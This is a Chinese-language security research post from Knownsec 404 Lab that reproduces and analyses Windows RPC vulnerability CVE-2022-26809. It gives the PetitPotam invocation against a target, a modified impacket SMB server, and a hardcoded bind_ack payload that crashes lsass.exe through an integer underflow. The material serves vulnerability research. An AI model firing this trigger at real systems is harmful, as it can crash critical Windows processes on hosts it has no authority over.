CVE-2022-26809 RPC 高危漏洞复现与分析

作者：HuanGMz@知道创宇404实验室
时间：2022年5月20日

漏洞介绍

2022年4月份修复的高危漏洞 CVE-2022-26809 距今已经过去一月有余，期间除了 L1nk 师傅发了一篇关于 GetCoalescedBuffer() 漏洞函数触发条件的分析，再无其他消息。我这边虽然分析出了 ProcessReceivedPDU() 漏洞函数的触发逻辑，但苦于无法在默认系统上触发，也没什么进展。

直到 5月18日，corelight 上发了一篇关于 CVE-2022-26809 的漏洞利用检测文章 ，同时给出了相关的github 仓库，仓库中附带了捕捉的 漏洞触发数据包。

文章中提到 CVE-2022-26809 位于OSF_CASSOCIATION::ProcessBindAckOrNak() 函数中，这是一个 客户端解析 bind_ack 响应的函数。我和 L1nk 师傅一开始都忽视了这个函数，因为我们觉得客户端的漏洞和 ”有希望成为蠕虫漏洞“ 的描述不符，不太可能是 CVE-2022-26809。但实际上 当我们调用目标主机的 EfsRpcDecryptFileSrv() efs rpc 函数时，该函数会根据我们传入的unc路径，向我们的恶意smb服务器 的 srvsvc 端点发起bind请求。这样 服务端 也就变成了 客户端，就会调用 ProcessBindAckOrNak() 处理我们的恶意smb服务器返回的 bind_ack 数据包。现在看还是对 smb 之类的知识了解的太少。

EfsRpcDecryptFileSrv() 是 lsass.exe 进程里的，位于c681d488-d850-11d0-8c52-00c04fd90f7e 接口的一个rpc函数，你可以通过 \pipe\lsass 端点访问它。

efs 相关的rpc函数在2021年曾出过 PetitPotam 域提权 和 CVE-2021-43893 域控文件写 几个著名的漏洞。虽然 CVE-2022-26809 和 这几个漏洞原理不类似，但触发方式类似，我们完全可以复用 PetitPotam 的脚本，免去了自己写rpc 客户端的麻烦。

推荐阅读这篇文章 https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/，了解关于PetitPotam 的漏洞发展历史。

漏洞复现

1. 调用 EfsRpcDecryptFileSrv() 函数

使用 ly4k 的 PetitPotam 脚本进行调用，仓库链接：https://github.com/ly4k/PetitPotam

需要注意的是，由于 2021年12月份的 CVE-2021-43893 的补丁，我们要给脚本里加两行代码：

在 PetitPotam.Connect 函数要加两行代码 （加在 dce.connect() 前面就行）:

dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

这两行代码是为了满足新增的 EFSRPC 强化措施。

调用 PetitPotam 脚本：

python3 petitpotam.py -pipe lsarpc -method DecryptFileSrv  -debug 'mr.wang:123@192.168.33.159'  '\\192.168.33.154\srvsvc\test.txt'

192.168.33.159 是目标主机的地址， 192.168.33.154 则是我们的恶意 smb 服务器的地址。遗憾的是我必须使用账号和密码，尚不确定原始poc是如何解决smb认证的问题的。

此时如果用 Procmon 来监测 lsass.exe 进程，你会看到它尝试打开 \\192.168.33.154\pipe\srvsvc 端点。

2. 搭建恶意 smb 服务器

直接使用 impacket 的 smbserver.py 里的 SimpleSMBServer 例子：

from impacket.smbserver import SimpleSMBServer

myserver = SimpleSMBServer(listenPort=445)
myserver.start()

推荐在linux里搭建。

我们需要控制对 rpc bind 请求的响应，所以直接修改 rpcrt.py 库文件。

找到 rpcrt.py 文件里的 DCERPCServer.bind() 函数，直接注释，然后改为下面，相当于每次返回固定的 bind_ack 数据包。

d = b'\x05\x00\x0c\x03\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x02\x10\xb8\x10\xb8\x00\x00\x12\x34\x00\x00'
print(d)
self._clientSock.send(d)

这一串数据也就是触发漏洞的关键 payload。

3. 捕捉崩溃

打开目标主机防火墙的445端口。

关闭 smb2 协议：

Set-SmbServerConfiguration -EnableSMB2Protocol $false

开启 sbm1 协议：

Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

这一步不是必须的，主要是方便我们 wireshark 捕捉观察rpc数据。

使用 gflags.exe 给 lsass.exe 进程开启页堆，然后重启系统。

选一种方式调试 lsass.exe，我使用内核调试，防止卡死。

然后开启恶意smb服务器，使用脚本调用 EfsRpcDecryptFileSrv() 函数。

然后就能捕捉到异常了。

如果正常，你会在 wireshark 里看到在调用 EfsRpcDecryptFileSrv()之后，有一串的 bind 和 bind_ack 数据包：

漏洞分析

数据包有两个特点，frag_len 为 0x1a， ScnDry_Addr_len 为0，且数据包在这个字段截断，后面就没了。

BufferLength 即是数据包的长度 为0x1a，第一次 BufferLength - 0x1A ，结果为0，然后由于 sec_addr_length 为0，所以会进入 else 分支，0 - 0x1c 整数下溢。

后面 取 sec_addr_length地址 + 2 + 2 ，由于数据包到 sec_addr_length 结束，所以这个地址实际已经越界。

另外有一点需要注意：我们前面触发漏洞的 payload 使用的是大端字节序，但实际上使用小端字节序也能正常触发漏洞，所以和 Data Representation 字段是否为0应该没有关系。

最后，还没有解决调用 EfsRpcDecryptFileSrv() 时的smb认证问题。擅长漏洞利用的师傅可以试一试了。

附：

• http://showlinkroom.me/2022/04/30/Windows-CVE-2022-26809/

• https://corelight.com/blog/another-day-another-dce-rpc-rce

• https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/

• https://github.com/ly4k/PetitPotam

END

往 期 热 门

(点击图片跳转）

戳“阅读原文”更多精彩内容!